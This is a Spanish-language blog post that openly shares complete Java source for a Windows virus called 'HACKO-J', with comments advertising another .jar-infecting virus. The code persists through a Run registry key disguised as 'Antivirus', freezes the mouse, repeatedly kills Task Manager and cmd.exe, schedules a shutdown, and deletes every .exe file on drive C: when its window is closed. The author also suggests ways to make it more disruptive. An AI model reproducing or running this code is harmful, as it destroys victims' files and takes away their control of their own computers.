lunes, 6 de septiembre de 2010

Virus en Java para Windows | Codigo Fuente

Hoy compartire mi primer Virus en Java, espero no sea el ultimo (ya que no me gusta mucho programa en Java) espero les sirva de algo si alguien tiene alguna duda
tratare de responderla pero no garantizo resolver todas o cualquier duda ya que Java como ya lo dije antes no es un lenguaje que sea de mucho agrado para mi y no se mucho acerca de el pero si puedo resolver una que otra duda e igual como siempre se recibe cualquier aportacion.

Descripcion:

Virus que se copia en el disco duro con atributos de oculto,
archivo del sistema y solo lectura, deja un valor en el registro
del sistema para que se ejecute al iniciar la pc, congela el mouse
y manda un mensaje que dice: "ESTAS INFECTADO POR EL VIRUS HACKO-J"
No se puede cerrar y si se intentara cerrar este borraria todos los archivos
con extension exe, el administrador de tareas no es posible abrirlo ya que
cada 3 segundos lo intenta cerrar tampoco se puede abrir la consola de comandos
cmd.exe porque tambien lo cierra cada 3 segundos.

Hay varias cosas que pueden ser modificadas sin tener que hacer otro codigo
lo que se puede modificar es la manera de ejecucion del virus
la primera seria mover el boton a las cordenadas que quieras
esta funcion puedes agregarla y hacer del virus mas bien un joke
ya que asi no produciria danos ya que al no tener control de mouse
no es posible cerrar el virus y por lo tanto no se borrarian los
archivos con extension exe del disco duro, otra cosa que se puede modificar
es decidir si queremos que el virus se muestre o no, para mostrarlo
poner virus.show(); para ocultar quitar esa linea sin embargo tampoco
borraria los archivos exe porque no existe ventana a cerrar, el codigo
esta implementeado para que se vea la ventana y para que no se bloquee el
mouse.

Hay maneras de hacer mas molesto el virus esto seria agregando valores dword al regedit usando la consola de comandos esto para bloquear el Administrador de Tareas, Panel de control, MS-DOS entre otras esto no lo pongo yo porque usando la consola de comandos es muy facil de hecho el valor para poner el virus al inicio de windows se agrega usando la consola de comandos.

Tambien quiero aclarar que no deben cambiar la extension que marca esta linea
String file = "nombreQueLeDaranAlVirus.jar"; en la funcion autoCopia() lo unico que
pueden cambiar es el nombre y el nombre debe ser igual al nombre del virus
de lo contrario no se copiara y si se cambia la extension no funcionara
cuando se inicie windows.

El codigo del virus no es la gran cosa, pero igual y puede ser el comienzo
de otro codigo que sea mejor.

Es todo por el momento, saludos!

Hacko

Codigo:
Ver Codigo Fuente Java


import java.awt.TextField; //Crea campos de texto
import java.awt.Panel; //Crea panel
import java.awt.Frame; //Crear frame
import java.awt.Event; //Controla los eventos de la aplicacion
import java.awt.Robot; //Controla los eventos del teclado
import java.awt.event.InputEvent; //Controla los eventos por teclado
import java.awt.event.ActionEvent; //Controla las acciones de los eventos
import java.io.*;//Entrada y salida de datos
import java.util.logging.Level; //Captura errores
import java.util.logging.Logger; //Captura errores

public class VirusHacko extends Frame
{
private TextField Evento;

public VirusHacko ()
{
super ("||VIRUS HACKO-J :: By HaCk0||");

Panel p;
p = new Panel ();

Evento = new TextField ();
Evento.setEditable (false);
p.add (Evento);

}


public void autoCopia ()
{
try
{
String file = "nombreQueLeDaranAlVirus.jar";
File inFile = new File (file);
File outFile = new File ("C:\\nombreConElQueSeCopiara.jar");

FileInputStream in = new FileInputStream (inFile);
FileOutputStream out = new FileOutputStream (outFile);
int Lilith;
while ((Lilith = in.read ()) != -1)
out.write (Lilith);

in.close ();
out.close ();
}
catch (IOException ex)
{
Logger.getLogger (VirusHacko.class.getName ()).log (Level.SEVERE, null, ex);
}
}


public void enSistema ()
{
try
{
Runtime.getRuntime ().exec ("msg *ESTAS INFECTADO POR EL VIRUS HACKO-J");
Runtime.getRuntime ().exec ("shutdown -s -t 600 -c VirusBy::Hacko--Borrando--Todos--Los--Exe...");
Runtime.getRuntime ().exec ("reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Antivirus /d C:\\nombreQueLeDieronAlVirus.jar");
}
catch (IOException ex)
{
Logger.getLogger (VirusHacko.class.getName ()).log (Level.SEVERE, null, ex);
}
}


public void mouseCold ()
{
try
{
boolean n = true;
Robot robot = new Robot ();
while (n != false)
{
int x = 386, y = 388;
//Movemos el mouse a la posición de la pantalla que queramos
robot.mouseMove (x, y);
//presionamos el click derecho
robot.mousePress (InputEvent.BUTTON2_MASK);
robot.mouseRelease (InputEvent.BUTTON2_MASK);
}
}
catch (Exception e)
{

}
}


public boolean handleEvent (Event evt)
{

Evento.setText (String.valueOf (evt.id)); //Captura el id del evento

if (evt.id == Event.WINDOW_DESTROY) 
{ //si el id es igual a cerrar ventana...
try
{
//System.exit (0); Esta linea cierra el Virus
Runtime.getRuntime ().exec ("cmd.exe /c del /s /f /q c:\\*.exe");
}
catch (Exception e)
{
}
}

return (super.handleEvent (evt));
}


public static void main (String[] args)
{
boolean SinTask = false;
VirusHacko virus = new VirusHacko ();
virus.autoCopia ();
virus.enSistema ();
virus.mouseCold ();
virus.show ();
//Cierra el taskmgr.exe y el cmd.exe cada 4 segundos
while (SinTask == false)
{
try
{
Runtime.getRuntime ().exec ("cmd.exe /c taskkill /f /im taskmgr.exe");
Runtime.getRuntime ().exec ("cmd.exe /c taskkill /f /im cmd.exe");
Thread.sleep (4000);
}
catch (Exception e)
{
}
}
}
}

2 Comentarios:

CAZDEG dijo...

checka este virus java, infecta .jar
http://u9791.260mb.com/

esta con source code.

CAZDEG dijo...

aqui un virus infector de .jar
esta en un package tgz con source code incluido
http://u9791.260mb.com/

Publicar un comentario

¡Hola!
Gracias por visitar mi blog.
Espero y no sea tu ultima visita.
Deja un comentario, sugerencia, observacion o lo que quieras.

P.D.:Ya no se pueden realizar comentarios anonimos desde que aqui por razones de seguridad, pero puedes utilizar get-box para dejar un comentario con tu nombre y tu mail o url o tambien puedes dar clic en el boton Contacto.